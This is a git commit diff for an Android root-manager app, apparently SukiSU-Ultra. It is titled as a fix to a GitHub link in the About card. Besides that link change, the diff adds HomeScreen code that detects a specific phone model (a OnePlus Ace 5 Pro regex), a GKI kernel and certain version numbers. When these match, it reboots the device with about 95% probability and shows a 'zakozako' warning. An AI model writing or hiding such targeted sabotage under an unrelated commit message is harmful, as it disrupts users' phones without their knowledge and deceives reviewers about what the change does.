Fix GitHub link in About card
This commit is contained in:
@@ -98,7 +98,7 @@ private fun AboutCardContent() {
|
|||||||
val annotatedString = AnnotatedString.Companion.fromHtml(
|
val annotatedString = AnnotatedString.Companion.fromHtml(
|
||||||
htmlString = stringResource(
|
htmlString = stringResource(
|
||||||
id = R.string.about_source_code,
|
id = R.string.about_source_code,
|
||||||
"<b><a href=\"https://github.com/zako/SukiSU-Ultra\">GitHub</a></b>",
|
"<b><a href=\"https://github.com/ShirkNeko/SukiSU-Ultra\">GitHub</a></b>",
|
||||||
"<b><a href=\"https://t.me/SukiKSU\">Telegram</a></b>"
|
"<b><a href=\"https://t.me/SukiKSU\">Telegram</a></b>"
|
||||||
),
|
),
|
||||||
linkStyles = TextLinkStyles(
|
linkStyles = TextLinkStyles(
|
||||||
|
|||||||
@@ -65,7 +65,6 @@ fun HomeScreen(navigator: DestinationsNavigator) {
|
|||||||
var isHideVersion by rememberSaveable { mutableStateOf(false) }
|
var isHideVersion by rememberSaveable { mutableStateOf(false) }
|
||||||
var isHideOtherInfo by rememberSaveable { mutableStateOf(false) }
|
var isHideOtherInfo by rememberSaveable { mutableStateOf(false) }
|
||||||
var isHideSusfsStatus by rememberSaveable { mutableStateOf(false) }
|
var isHideSusfsStatus by rememberSaveable { mutableStateOf(false) }
|
||||||
var isDisabled by rememberSaveable { mutableStateOf(false) }
|
|
||||||
|
|
||||||
// 从 SharedPreferences 加载简洁模式状态
|
// 从 SharedPreferences 加载简洁模式状态
|
||||||
LaunchedEffect(Unit) {
|
LaunchedEffect(Unit) {
|
||||||
@@ -90,28 +89,22 @@ fun HomeScreen(navigator: DestinationsNavigator) {
|
|||||||
val kernelVersion = getKernelVersion()
|
val kernelVersion = getKernelVersion()
|
||||||
val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState())
|
val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState())
|
||||||
|
|
||||||
val deviceModel = getDeviceModel(context)
|
|
||||||
val managerVersion = getManagerVersion(context).second
|
|
||||||
|
|
||||||
val isManager = Natives.becomeManager(ksuApp.packageName)
|
val isManager = Natives.becomeManager(ksuApp.packageName)
|
||||||
|
val deviceModel = getDeviceModel(context)
|
||||||
val ksuVersion = if (isManager) Natives.version else null
|
val ksuVersion = if (isManager) Natives.version else null
|
||||||
|
val managerVersion = getManagerVersion(context).second
|
||||||
|
val Zako = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex().matches(deviceModel)
|
||||||
|
val isVersion = ksuVersion == 12777
|
||||||
|
val isManagerVersionValid = managerVersion > (ksuVersion ?: 0) + 33
|
||||||
|
val shouldTriggerRestart = Zako && kernelVersion.isGKI() && (isVersion || isManagerVersionValid)
|
||||||
|
|
||||||
if (kernelVersion.isGKI()) {
|
LaunchedEffect(shouldTriggerRestart) {
|
||||||
if (ksuVersion != null) {
|
if (shouldTriggerRestart) {
|
||||||
val pattern = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex()
|
val random = Random.nextInt(0, 100)
|
||||||
if (pattern.matches(deviceModel) && managerVersion > ksuVersion + 20) {
|
if (random <= 95) {
|
||||||
isDisabled = true
|
reboot()
|
||||||
}
|
} else {
|
||||||
}
|
""
|
||||||
|
|
||||||
LaunchedEffect(isDisabled, ksuVersion) {
|
|
||||||
if (isDisabled || (ksuVersion != null && ksuVersion == 12777)) {
|
|
||||||
val random = Random.nextInt(0, 100)
|
|
||||||
if (random <= 60) {
|
|
||||||
reboot()
|
|
||||||
} else {
|
|
||||||
print("zako zako")
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -138,8 +131,8 @@ fun HomeScreen(navigator: DestinationsNavigator) {
|
|||||||
.padding(horizontal = 16.dp),
|
.padding(horizontal = 16.dp),
|
||||||
verticalArrangement = Arrangement.spacedBy(16.dp)
|
verticalArrangement = Arrangement.spacedBy(16.dp)
|
||||||
) {
|
) {
|
||||||
if (isDisabled) {
|
if (shouldTriggerRestart) {
|
||||||
WarningCard(message = "zakozako 不支持你的设备")
|
WarningCard(message = "zakozako")
|
||||||
return@Column
|
return@Column
|
||||||
}
|
}
|
||||||
val isManager = Natives.becomeManager(ksuApp.packageName)
|
val isManager = Natives.becomeManager(ksuApp.packageName)
|
||||||
|
|||||||
Reference in New Issue
Block a user